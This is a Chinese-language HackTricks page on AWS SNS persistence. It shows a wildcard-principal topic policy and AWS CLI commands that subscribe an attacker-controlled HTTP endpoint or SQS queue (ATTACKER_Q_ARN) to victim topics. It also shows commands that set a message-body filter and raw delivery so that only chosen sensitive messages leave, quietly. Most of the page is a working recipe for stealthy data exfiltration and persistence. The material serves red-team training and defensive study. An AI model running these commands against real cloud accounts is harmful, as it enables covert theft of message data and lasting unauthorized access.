AWS - SNS 持久化

Tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

SNS

欲了解更多信息,请查看:

AWS - SNS Enum

持久化

当创建一个 SNS topic 时,你需要在 IAM policy 中指明 谁有读取和写入的权限。可以指定外部账户、角色的 ARN,或者甚至 “*”.
下面的策略授予 AWS 中的所有人对名为 MySNS.fifo 的 SNS topic 的读写权限:

{
"Version": "2008-10-17",
"Id": "__default_policy_ID",
"Statement": [
{
"Sid": "__default_statement_ID",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": [
"SNS:Publish",
"SNS:RemovePermission",
"SNS:SetTopicAttributes",
"SNS:DeleteTopic",
"SNS:ListSubscriptionsByTopic",
"SNS:GetTopicAttributes",
"SNS:AddPermission",
"SNS:Subscribe"
],
"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo",
"Condition": {
"StringEquals": {
"AWS:SourceOwner": "318142138553"
}
}
},
{
"Sid": "__console_pub_0",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": "SNS:Publish",
"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo"
},
{
"Sid": "__console_sub_0",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": "SNS:Subscribe",
"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo"
}
]
}

创建订阅者

为了继续 exfiltrating 所有主题的所有消息,攻击者可以为所有主题创建订阅者

注意,如果 主题的类型为 FIFO,则只能使用协议为 SQS 的订阅者。

aws sns subscribe --region <region> \
--protocol http \
--notification-endpoint http://<attacker>/ \
--topic-arn <arn>

隐蔽、选择性 exfiltration:通过 FilterPolicy 对 MessageBody 进行筛选

攻击者在某个 topic 上拥有 sns:Subscribesns:SetSubscriptionAttributes 权限时,可以创建一个隐蔽的 SQS 订阅,仅转发其 JSON 消息体匹配非常窄的过滤条件的消息(例如 {"secret":"true"})。这能在降低流量和检测概率的同时继续 exfiltrating 敏感记录。

潜在影响:仅从受害者 topic 中隐蔽、低噪音地 exfiltration 针对的 SNS 消息。

Steps (AWS CLI):

  • 确保攻击者的 SQS 队列策略允许来自受害者 TopicArnsqs:SendMessage(Condition aws:SourceArn 等于该 TopicArn)。
  • 创建指向该 topic 的 SQS 订阅:
aws sns subscribe --region us-east-1 --topic-arn TOPIC_ARN --protocol sqs --notification-endpoint ATTACKER_Q_ARN
  • 将过滤器设置为作用于消息体并且只匹配 secret=true
aws sns set-subscription-attributes --region us-east-1 --subscription-arn SUB_ARN --attribute-name FilterPolicyScope --attribute-value MessageBody
aws sns set-subscription-attributes --region us-east-1 --subscription-arn SUB_ARN --attribute-name FilterPolicy --attribute-value '{"secret":["true"]}'
  • 可选隐蔽:启用 raw delivery,使接收端只收到原始 payload:
aws sns set-subscription-attributes --region us-east-1 --subscription-arn SUB_ARN --attribute-name RawMessageDelivery --attribute-value true
  • 验证:发布两条消息,确认只有第一条被投递到攻击者队列。示例 payloads:
{"secret":"true","data":"exfil"}
{"secret":"false","data":"benign"}
  • 清理:如果为持久化测试创建了攻击者 SQS 队列,取消订阅并删除该队列。

Tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks